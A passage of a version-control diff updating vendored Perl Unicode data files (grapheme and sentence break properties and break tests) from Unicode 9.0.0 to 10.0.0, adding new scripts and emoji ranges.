+÷ 200D × 2640 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 200D × 1F466 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ) × [11.0] BOY (EBG) ÷ [0.3]
 ÷ 1F466 ÷ 1F466 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3]
 #

Modified: vendor/perl/dist/lib/unicore/auxiliary/GraphemeBreakProperty.txt
===================================================================
--- vendor/perl/dist/lib/unicore/auxiliary/GraphemeBreakProperty.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/auxiliary/GraphemeBreakProperty.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# GraphemeBreakProperty-9.0.0.txt
-# Date: 2016-06-03, 22:23:55 GMT
-# © 2016 Unicode®, Inc.
+# GraphemeBreakProperty-10.0.0.txt
+# Date: 2017-03-12, 07:03:41 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -25,8 +25,11 @@
 0D4E          ; Prepend # Lo       MALAYALAM LETTER DOT REPH
 110BD         ; Prepend # Cf       KAITHI NUMBER SIGN
 111C2..111C3  ; Prepend # Lo   [2] SHARADA SIGN JIHVAMULIYA..SHARADA SIGN UPADHMANIYA
+11A3A         ; Prepend # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A86..11A89  ; Prepend # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11D46         ; Prepend # Lo       MASARAM GONDI REPHA
 
-# Total code points: 13
+# Total code points: 19
 
 # ================================================
 
@@ -126,6 +129,7 @@
 0AC7..0AC8    ; Extend # Mn   [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
 0ACD          ; Extend # Mn       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; Extend # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; Extend # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; Extend # Mn       ORIYA SIGN CANDRABINDU
 0B3C          ; Extend # Mn       ORIYA SIGN NUKTA
 0B3E          ; Extend # Mc       ORIYA VOWEL SIGN AA
@@ -154,7 +158,8 @@
 0CCC..0CCD    ; Extend # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CD5..0CD6    ; Extend # Mc   [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
 0CE2..0CE3    ; Extend # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; Extend # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Extend # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D3B..0D3C    ; Extend # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3E          ; Extend # Mc       MALAYALAM VOWEL SIGN AA
 0D41..0D44    ; Extend # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D4D          ; Extend # Mn       MALAYALAM SIGN VIRAMA
@@ -243,7 +248,7 @@
 1CED          ; Extend # Mn       VEDIC SIGN TIRYAK
 1CF4          ; Extend # Mn       VEDIC TONE CANDRA ABOVE
 1CF8..1CF9    ; Extend # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; Extend # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; Extend # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; Extend # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 200C          ; Extend # Cf       ZERO WIDTH NON-JOINER
 20D0..20DC    ; Extend # Mn  [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
@@ -353,6 +358,15 @@
 1171D..1171F  ; Extend # Mn   [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
 11722..11725  ; Extend # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11727..1172B  ; Extend # Mn   [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11A01..11A06  ; Extend # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A09..11A0A  ; Extend # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; Extend # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A3B..11A3E  ; Extend # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; Extend # Mn       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; Extend # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A59..11A5B  ; Extend # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; Extend # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A98..11A99  ; Extend # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C30..11C36  ; Extend # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; Extend # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
 11C3F         ; Extend # Mn       BHAIKSUKI SIGN VIRAMA
@@ -360,6 +374,11 @@
 11CAA..11CB0  ; Extend # Mn   [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
 11CB2..11CB3  ; Extend # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB5..11CB6  ; Extend # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; Extend # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Extend # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Extend # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; Extend # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; Extend # Mn       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; Extend # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; Extend # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F8F..16F92  ; Extend # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
@@ -387,7 +406,7 @@
 E0020..E007F  ; Extend # Cf  [96] TAG SPACE..CANCEL TAG
 E0100..E01EF  ; Extend # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 1828
+# Total code points: 1901
 
 # ================================================
 
@@ -472,6 +491,7 @@
 1C34..1C35    ; SpacingMark # Mc   [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG
 1CE1          ; SpacingMark # Mc       VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA
 1CF2..1CF3    ; SpacingMark # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
+1CF7          ; SpacingMark # Mc       VEDIC SIGN ATIKRAMA
 A823..A824    ; SpacingMark # Mc   [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I
 A827          ; SpacingMark # Mc       SYLOTI NAGRI VOWEL SIGN OO
 A880..A881    ; SpacingMark # Mc   [2] SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VISARGA
@@ -529,6 +549,10 @@
 116B6         ; SpacingMark # Mc       TAKRI SIGN VIRAMA
 11720..11721  ; SpacingMark # Mc   [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA
 11726         ; SpacingMark # Mc       AHOM VOWEL SIGN E
+11A07..11A08  ; SpacingMark # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A39         ; SpacingMark # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A57..11A58  ; SpacingMark # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A97         ; SpacingMark # Mc       SOYOMBO SIGN VISARGA
 11C2F         ; SpacingMark # Mc       BHAIKSUKI VOWEL SIGN AA
 11C3E         ; SpacingMark # Mc       BHAIKSUKI SIGN VISARGA
 11CA9         ; SpacingMark # Mc       MARCHEN SUBJOINED LETTER YA
@@ -538,7 +562,7 @@
 1D166         ; SpacingMark # Mc       MUSICAL SYMBOL COMBINING SPRECHGESANG STEM
 1D16D         ; SpacingMark # Mc       MUSICAL SYMBOL COMBINING AUGMENTATION DOT
 
-# Total code points: 341
+# Total code points: 348
 
 # ================================================
 
@@ -1375,8 +1399,9 @@
 26F9          ; E_Base # So       PERSON WITH BALL
 270A..270D    ; E_Base # So   [4] RAISED FIST..WRITING HAND
 1F385         ; E_Base # So       FATHER CHRISTMAS
-1F3C3..1F3C4  ; E_Base # So   [2] RUNNER..SURFER
-1F3CA..1F3CB  ; E_Base # So   [2] SWIMMER..WEIGHT LIFTER
+1F3C2..1F3C4  ; E_Base # So   [3] SNOWBOARDER..SURFER
+1F3C7         ; E_Base # So       HORSE RACING
+1F3CA..1F3CC  ; E_Base # So   [3] SWIMMER..GOLFER
 1F442..1F443  ; E_Base # So   [2] EAR..NOSE
 1F446..1F450  ; E_Base # So  [11] WHITE UP POINTING BACKHAND INDEX..OPEN HANDS SIGN
 1F46E         ; E_Base # So       POLICE OFFICER
@@ -1385,7 +1410,7 @@
 1F481..1F483  ; E_Base # So   [3] INFORMATION DESK PERSON..DANCER
 1F485..1F487  ; E_Base # So   [3] NAIL POLISH..HAIRCUT
 1F4AA         ; E_Base # So       FLEXED BICEPS
-1F575         ; E_Base # So       SLEUTH OR SPY
+1F574..1F575  ; E_Base # So   [2] MAN IN BUSINESS SUIT LEVITATING..SLEUTH OR SPY
 1F57A         ; E_Base # So       MAN DANCING
 1F590         ; E_Base # So       RAISED HAND WITH FINGERS SPLAYED
 1F595..1F596  ; E_Base # So   [2] REVERSED HAND WITH MIDDLE FINGER EXTENDED..RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
@@ -1394,13 +1419,15 @@
 1F6A3         ; E_Base # So       ROWBOAT
 1F6B4..1F6B6  ; E_Base # So   [3] BICYCLIST..PEDESTRIAN
 1F6C0         ; E_Base # So       BATH
-1F918..1F91E  ; E_Base # So   [7] SIGN OF THE HORNS..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+1F6CC         ; E_Base # So       SLEEPING ACCOMMODATION
+1F918..1F91C  ; E_Base # So   [5] SIGN OF THE HORNS..RIGHT-FACING FIST
+1F91E..1F91F  ; E_Base # So   [2] HAND WITH INDEX AND MIDDLE FINGERS CROSSED..I LOVE YOU HAND SIGN
 1F926         ; E_Base # So       FACE PALM
-1F930         ; E_Base # So       PREGNANT WOMAN
-1F933..1F939  ; E_Base # So   [7] SELFIE..JUGGLING
-1F93C..1F93E  ; E_Base # So   [3] WRESTLERS..HANDBALL
+1F930..1F939  ; E_Base # So  [10] PREGNANT WOMAN..JUGGLING
+1F93D..1F93E  ; E_Base # So   [2] WATER POLO..HANDBALL
+1F9D1..1F9DD  ; E_Base # So  [13] ADULT..ELF
 
-# Total code points: 79
+# Total code points: 98
 
 # ================================================
 
@@ -1416,11 +1443,28 @@
 
 # ================================================
 
+2640          ; Glue_After_Zwj # So       FEMALE SIGN
+2642          ; Glue_After_Zwj # So       MALE SIGN
+2695..2696    ; Glue_After_Zwj # So   [2] STAFF OF AESCULAPIUS..SCALES
+2708          ; Glue_After_Zwj # So       AIRPLANE
 2764          ; Glue_After_Zwj # So       HEAVY BLACK HEART
+1F308         ; Glue_After_Zwj # So       RAINBOW
+1F33E         ; Glue_After_Zwj # So       EAR OF RICE
+1F373         ; Glue_After_Zwj # So       COOKING
+1F393         ; Glue_After_Zwj # So       GRADUATION CAP
+1F3A4         ; Glue_After_Zwj # So       MICROPHONE
+1F3A8         ; Glue_After_Zwj # So       ARTIST PALETTE
+1F3EB         ; Glue_After_Zwj # So       SCHOOL
+1F3ED         ; Glue_After_Zwj # So       FACTORY
 1F48B         ; Glue_After_Zwj # So       KISS MARK
+1F4BB..1F4BC  ; Glue_After_Zwj # So   [2] PERSONAL COMPUTER..BRIEFCASE
+1F527         ; Glue_After_Zwj # So       WRENCH
+1F52C         ; Glue_After_Zwj # So       MICROSCOPE
 1F5E8         ; Glue_After_Zwj # So       LEFT SPEECH BUBBLE
+1F680         ; Glue_After_Zwj # So       ROCKET
+1F692         ; Glue_After_Zwj # So       FIRE ENGINE
 
-# Total code points: 3
+# Total code points: 22
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/auxiliary/LBTest.txt
===================================================================
--- vendor/perl/dist/lib/unicore/auxiliary/LBTest.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/auxiliary/LBTest.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# LineBreakTest-9.0.0.txt
-# Date: 2016-06-18, 00:42:06 GMT
-# © 2016 Unicode®, Inc.
+# LineBreakTest-10.0.0.txt
+# Date: 2017-04-14, 05:40:30 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -7,20 +7,23 @@
 # Unicode Character Database
 #   For documentation, see http://www.unicode.org/reports/tr44/
 #
-# Default Line Break Test
+# Default Line_Break Test
 #
 # Format:
-# <string> (# <comment>)? 
-#  <string> contains hex Unicode code points, with 
-#	÷ wherever there is a break opportunity, and 
+# <string> (# <comment>)?
+#  <string> contains hex Unicode code points, with
+#	÷ wherever there is a break opportunity, and
 #	× wherever there is not.
 #  <comment> the format can change, but currently it shows:
 #	- the sample character name
 #	- (x) the Line_Break property value for the sample character
-#	- [x] the rule that determines whether there is a break or not
-# Note: The Line Break tests use tailoring of numbers described in Example 7 of Section 8.2 Examples of Customization.
-# They also differ from the results produced by a pair table implementation in sequences like: ZW SP CL.
+#	- [x] the rule that determines whether there is a break or not,
+#	   as listed in the Rules section of LineBreakTest.html
 #
+# Note:
+#  The Line_Break tests use tailoring of numbers described in
+#  Example 7 of Section 8.2, "Examples of Customization" of UAX #14.
+#
 # These samples may be extended or changed in the future.
 #
 × 0023 × 0023 ÷	#  × [0.3] NUMBER SIGN (AL) × [28.0] NUMBER SIGN (AL) ÷ [0.3]

Modified: vendor/perl/dist/lib/unicore/auxiliary/SBTest.txt
===================================================================
--- vendor/perl/dist/lib/unicore/auxiliary/SBTest.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/auxiliary/SBTest.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# SentenceBreakTest-9.0.0.txt
-# Date: 2016-06-02, 18:28:30 GMT
-# © 2016 Unicode®, Inc.
+# SentenceBreakTest-10.0.0.txt
+# Date: 2017-04-14, 05:40:43 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -7,17 +7,18 @@
 # Unicode Character Database
 #   For documentation, see http://www.unicode.org/reports/tr44/
 #
-# Default Sentence Break Test
+# Default Sentence_Break Test
 #
 # Format:
-# <string> (# <comment>)? 
-#  <string> contains hex Unicode code points, with 
-#	÷ wherever there is a break opportunity, and 
+# <string> (# <comment>)?
+#  <string> contains hex Unicode code points, with
+#	÷ wherever there is a break opportunity, and
 #	× wherever there is not.
 #  <comment> the format can change, but currently it shows:
 #	- the sample character name
 #	- (x) the Sentence_Break property value for the sample character
-#	- [x] the rule that determines whether there is a break or not
+#	- [x] the rule that determines whether there is a break or not,
+#	   as listed in the Rules section of SentenceBreakTest.html
 #
 # These samples may be extended or changed in the future.
 #

Modified: vendor/perl/dist/lib/unicore/auxiliary/SentenceBreakProperty.txt
===================================================================
--- vendor/perl/dist/lib/unicore/auxiliary/SentenceBreakProperty.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/auxiliary/SentenceBreakProperty.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# SentenceBreakProperty-9.0.0.txt
-# Date: 2016-06-01, 10:34:38 GMT
-# © 2016 Unicode®, Inc.
+# SentenceBreakProperty-10.0.0.txt
+# Date: 2017-03-08, 08:42:08 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -97,6 +97,7 @@
 0ACB..0ACC    ; Extend # Mc   [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU
 0ACD          ; Extend # Mn       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; Extend # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; Extend # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; Extend # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; Extend # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B3C          ; Extend # Mn       ORIYA SIGN NUKTA
@@ -138,8 +139,9 @@
 0CCC..0CCD    ; Extend # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CD5..0CD6    ; Extend # Mc   [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
 0CE2..0CE3    ; Extend # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; Extend # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Extend # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; Extend # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
+0D3B..0D3C    ; Extend # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3E..0D40    ; Extend # Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44    ; Extend # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D46..0D48    ; Extend # Mc   [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI
@@ -274,8 +276,9 @@
 1CED          ; Extend # Mn       VEDIC SIGN TIRYAK
 1CF2..1CF3    ; Extend # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF4          ; Extend # Mn       VEDIC TONE CANDRA ABOVE
+1CF7          ; Extend # Mc       VEDIC SIGN ATIKRAMA
 1CF8..1CF9    ; Extend # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; Extend # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; Extend # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; Extend # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 200C..200D    ; Extend # Cf   [2] ZERO WIDTH NON-JOINER..ZERO WIDTH JOINER
 20D0..20DC    ; Extend # Mn  [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
@@ -439,6 +442,19 @@
 11722..11725  ; Extend # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11726         ; Extend # Mc       AHOM VOWEL SIGN E
 11727..1172B  ; Extend # Mn   [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11A01..11A06  ; Extend # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; Extend # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; Extend # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; Extend # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; Extend # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3B..11A3E  ; Extend # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; Extend # Mn       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; Extend # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; Extend # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; Extend # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; Extend # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; Extend # Mc       SOYOMBO SIGN VISARGA
+11A98..11A99  ; Extend # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C2F         ; Extend # Mc       BHAIKSUKI VOWEL SIGN AA
 11C30..11C36  ; Extend # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; Extend # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
@@ -451,6 +467,11 @@
 11CB2..11CB3  ; Extend # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; Extend # Mc       MARCHEN VOWEL SIGN O
 11CB5..11CB6  ; Extend # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; Extend # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Extend # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Extend # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; Extend # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; Extend # Mn       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; Extend # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; Extend # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F51..16F7E  ; Extend # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
@@ -479,7 +500,7 @@
 E0020..E007F  ; Extend # Cf  [96] TAG SPACE..CANCEL TAG
 E0100..E01EF  ; Extend # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 2197
+# Total code points: 2277
 
 # ================================================
 
@@ -1859,6 +1880,7 @@
 0824          ; OLetter # Lm       SAMARITAN MODIFIER LETTER SHORT A
 0828          ; OLetter # Lm       SAMARITAN MODIFIER LETTER I
 0840..0858    ; OLetter # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
+0860..086A    ; OLetter # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; OLetter # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; OLetter # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 0904..0939    ; OLetter # Lo  [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA
@@ -1878,6 +1900,7 @@
 09DC..09DD    ; OLetter # Lo   [2] BENGALI LETTER RRA..BENGALI LETTER RHA
 09DF..09E1    ; OLetter # Lo   [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL
 09F0..09F1    ; OLetter # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09FC          ; OLetter # Lo       BENGALI LETTER VEDIC ANUSVARA
 0A05..0A0A    ; OLetter # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
 0A0F..0A10    ; OLetter # Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
 0A13..0A28    ; OLetter # Lo  [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA
@@ -2073,12 +2096,12 @@
 30A1..30FA    ; OLetter # Lo  [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO
 30FC..30FE    ; OLetter # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; OLetter # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; OLetter # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; OLetter # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; OLetter # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 31A0..31BA    ; OLetter # Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 31F0..31FF    ; OLetter # Lo  [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
 3400..4DB5    ; OLetter # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; OLetter # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; OLetter # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; OLetter # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; OLetter # Lm       YI SYLLABLE WU
 A016..A48C    ; OLetter # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -2176,7 +2199,7 @@
 10280..1029C  ; OLetter # Lo  [29] LYCIAN LETTER A..LYCIAN LETTER X
 102A0..102D0  ; OLetter # Lo  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 10300..1031F  ; OLetter # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
-10330..10340  ; OLetter # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; OLetter # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; OLetter # Nl       GOTHIC LETTER NINETY
 10342..10349  ; OLetter # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; OLetter # Nl       GOTHIC LETTER NINE HUNDRED
@@ -2257,11 +2280,21 @@
 11680..116AA  ; OLetter # Lo  [43] TAKRI LETTER A..TAKRI LETTER RRA
 11700..11719  ; OLetter # Lo  [26] AHOM LETTER KA..AHOM LETTER JHA
 118FF         ; OLetter # Lo       WARANG CITI OM
+11A00         ; OLetter # Lo       ZANABAZAR SQUARE LETTER A
+11A0B..11A32  ; OLetter # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A3A         ; OLetter # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A50         ; OLetter # Lo       SOYOMBO LETTER A
+11A5C..11A83  ; OLetter # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; OLetter # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
 11AC0..11AF8  ; OLetter # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
